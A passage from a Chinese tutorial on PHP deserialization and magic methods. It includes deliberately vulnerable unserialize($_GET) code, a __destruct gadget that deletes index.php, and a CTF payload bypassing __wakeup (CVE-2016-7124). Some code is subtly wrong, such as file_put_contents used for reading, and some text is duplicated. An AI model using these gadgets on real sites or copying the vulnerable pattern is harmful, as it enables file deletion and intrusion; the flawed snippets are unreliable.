4、对上传的文件进行重命名,防止被读取
5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化
PHP反序列化
php中的magic方法
Json和XML对象的序列化
<?php
class JsonClass{
public $word = "Hello Xiaoyu";
public $prop = array('name' => 'Xiaoyu','age' => 18,'motto' => 'Apple keep doctor');
}
$obj = new JsonClass();
//转换对象为json字符串
$s = json_encode($obj);
//转换对象为XML
$x = wddx_serialize_value($obj);
echo $s;
echo "\n";
echo $x;
序列化
<?php
class SerialType{
public $data;
public $pass;
const CONTRY = 'CHINA';
public function __construct($data,$pass)
{
$this->data = $data;
$this->pass = $pass;
}
}
$number = 32;
$str = 'Xiaoyu';
$bool = true;
$null = NULL;
$arr = array('aa' => 1,'bbbb' => 9);
$obj = new SerialType('somestr',true);
var_dump(serialize($number));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($null));
var_dump(serialize($arr));
反序列化
<?php
class UnSerializeTest{
public $var = "hello Xiaoyu..";
public function echoString(){
echo $this->var;
}
}
//$obj1 = new UnSerializeTest();
//echo serialize($obj1)."\n";
$obj2 = unserialize('O:15:"UnSerializeTest":1:{s:3:"var";s:14:"hello Xiaoyu..";}');
var_dump($obj2);
$obj2->echoString();
利用序列化删除目录下的文件
<?php
class logfile{
public $filename = 'error.log';
public function logdata($test){
echo 'log data:'.$test.'<br />';
file_put_contents($this->filename,$test,FILE_APPEND);
}
public function __destruct()
{
// TODO: Implement __destruct() method.
echo '__destruct deletes'.$this->filename.'file.<br />';
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
<?php
include 'logfile.php';
class User{
public $age = 0;
public $name = '';
public function printdata(){
echo 'User'.$this->name.' is'.$this->age.' years old.<br />';
}
}
//通过GET请求参数传入字符
//此处可以反序列化任意对象
$usr = unserialize($_GET['param']);
?>
<?php
include 'logfile.php';
$obj = new logfile();
$obj->filename = 'index.php';
echo serialize($obj);
利用序列化查看目录文件
<?php
class readfile{
public $filename = 'error.log';
public function __toString(){
return file_put_contents($this->filename);
}
}
class user{
public $age = 0;
public $name = '';
public function __toString(){
return 'user '.$this->name.' is'.$this->age.' years old.<br />';
}
}
//动态传入反序列化字符
$obj = unserialize($_GET['param']);
// __toString被调用
echo $obj;
?>
常见利用函数
CONSTRUCT 与 DESTRUCT
construct:在创建对象时候初始化对象,一般用于对变量赋初值。 destruct:和构造函数相反,当对象所在函数调用完毕后执行。
<?php
class Test{
public $name;
public $age;
public $string;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
$this->name = $name;
$this->age = $age;
$this->string = $string;
}
// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
/*
* 当对象销毁时会调用此方法
* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
*/
function __destruct(){
echo "__destruct 类执行完毕"."<br>";
}
}
// 主动销毁
$test = new Test("Spaceman",566, 'Test String');
unset($test);
// 主动销毁先执行__destruct再执行下面的echo
echo '566'.'<br>';
echo '----------------------<br>';
// 程序结束自动销毁
$test = new test("Spaceman",566, 'Test String');
// 自动销毁先执行下面的echo,程序结束才执行__destruct
echo '666'.'<br>';
?>
__CALL()
__call:当调用对象中不存在的方法会自动调用该方法。
调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
<?php
class Test{
public function good($number,$string){
echo '存在good方法'.'<br>';
echo $number.'---------'.$string.'<br>'; }
// 当调用类中不存在的方法时,就会调用__call();
public function __call($method,$args){
echo '不存在'.$method.'方法'.'<br>';
var_dump($args); }}
$a = new Test();
$a->good(566,'nice');
$b = new Test();
$b->spaceman(899,'no');
?>
__GET()
__get():访问不存在的成员变量时调用的;用来获取私有属性
读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数。
<?php
class Test {
public $n=123;
// __get():访问不存在的成员变量时调用
public function __get($name){
echo '__get 不存在成员变量'.$name.'<br>';
}}
$a = new Test();// 存在成员变量n,所以不调用__getecho
$a->n;
echo '<br>';
// 不存在成员变量spaceman,所以调用__getecho
$a->spaceman;
运行结果:123__get 不存在成员变量spaceman
__SET()
__get():访问不存在的成员变量时调用的;用来获取私有属性
读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数。
<?php
class Test{
public $data = 100;
protected $noway=0;
// __set():设置对象不存在的属性或无法访问(私有)的属性时调用
/* __set($name, $value)
* 用来为私有成员属性设置的值
* 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
*/
public function __set($name,$value){
echo '__set 不存在成员变量 '.$name.'<br>';
echo '即将设置的值 '.$value."<br>";
$this->noway=$value;
}
public function Get(){
echo $this->noway;
}
}
$a = new Test();
// 读取 noway 的值,初始为0
$a->Get();
echo '<br>';
// 无法访问(私有)noway属性时调用,并设置值为899
$a->noway = 899;
// 经过__set方法的设置noway的值为899
$a->Get();
echo '<br>';
// 设置对象不存在的属性spaceman
$a->spaceman = 566;
// 经过__set方法的设置noway的值为566
$a->Get();
?>
运行结果:
0
__TOSTRING()
__toString():在对象当做字符串的时候会被调用。
<?php
class Test
{
public $variable = 'This is a string';
public function good(){
echo $this->variable . '<br />';
}
// 在对象当做字符串的时候会被调用
public function __toString()
{
return '__toString <br>';
}
}
$a = new Test();
$a->good();
echo $a;
?>
运行结果:
This is a string
__toString
__SLEEP()
__sleep():serialize之前被调用,可以指定要序列化的对象属性。
<?php
class Test{
public $name;
public $age;
public $string;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
$this->name = $name;
$this->age = $age;
$this->string = $string;
}
// __sleep() :serialize之前被调用,可以指定要序列化的对象属性
public function __sleep(){
echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
// 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
return array('name', 'age');
}
}
$a = new Test("Spaceman",566, 'Test String');
echo serialize($a);
?>
运行结果:
__construct 初始化
当在类外部使用serialize()时会调用这里的__sleep()方法
O:4:"Test":2:{s:4:"name";s:8:"Spaceman";s:3:"age";i:566;}
__WAKEUP
__wakeup:反序列化恢复对象之前调用该方法
<?php
class Test{
public $sex;
public $name;
public $age;
public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __wakeup(){
echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
$this->age = 566;
}
}
$person = new Test('spaceman',21,'男');
$a = serialize($person);
echo $a."<br>";
var_dump (unserialize($a));
?>
运行结果:
O:4:"Test":3:{s:3:"sex";s:3:"男";s:4:"name";s:8:"spaceman";s:3:"age";i:21;}
当在类外部使用unserialize()时会调用这里的__wakeup()方法
class Test#2 (3) {
public $sex =>
string(3) "男"
public $name =>
string(8) "spaceman"
public $age =>
int(566)
}
__ISSET()
__isset(): 检测对象的某个属性是否存在时执行此函数。
当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
<?php
class Person{
public $sex;
private $name;
private $age;
public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
// __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
public function __isset($content){
echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
return isset($this->$content);
}
}
$person = new Person("spaceman", 25,'男');
// public 成员
echo ($person->sex),"<br>";
// private 成员
echo isset($person->name);
?>
运行结果:
男
当在类外部使用isset()函数测定私有成员 name 时,自动调用
1
__UNSET()
__unset():在不可访问的属性上使用unset()时触发
销毁对象的某个属性时执行此函数。
1、 如果一个对象里面的成员属性是公有的,就可以使用这个函数在对象外面删除对象的公有属性。
2、 如果对象的成员属性是私有的,我使用这个函数就没有权限去删除。
<?php
class Person{
public $sex;
private $name;
private $age;
public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
// __unset():销毁对象的某个属性时执行此函数
public function __unset($content) {
echo "当在类外部使用unset()函数来删除私有成员时自动调用的<br>";
echo isset($this->$content)."<br>";
}
}
$person = new Person("spaceman", 21,"男"); // 初始赋值
unset($person->sex);
echo "666666<br>";
unset($person->name);
unset($person->age);
?>
运行结果:
666666
当在类外部使用unset()函数来删除私有成员时自动调用的
1
当在类外部使用unset()函数来删除私有成员时自动调用的
1
__INVOKE()
__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
<?php
class Test{
// _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
public function __invoke($param1, $param2, $param3)
{
echo "这是一个对象<br>";
var_dump($param1,$param2,$param3);
}
}
$a = new Test();
$a('spaceman',21,'男');
?>
运行结果:
这是一个对象
string(8) "spaceman"
int(21)
string(3) "男"
魔术方法总结
__sleep() //执行serialize()时,先会调用这个函数 __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过) __construct() //当对象被创建时,会触发进行初始化 __destruct() //对象被销毁时触发 __toString(): //当一个对象被当作字符串使用时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量) __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当尝试以调用函数的方式调用一个对象时
CTF题目解析
攻防世界unserialize3
class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code=
在这里我们可以看到只有一个魔术方法,而wakeup()魔术方法是反序列化之前检查执行的函数,也就是说,不管传入什么,都会优先执行wakeup()方法,但这里针对__wakeup()方法有一个CVE漏洞,CVE-2016-7124,在传入的序列化字符串在反序列化对象时与真实存在的参数个数不同时会跳过执行,即当前函数中只有一个参数$flag,若传入的序列化字符串中的参数个数为2即可绕过。
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}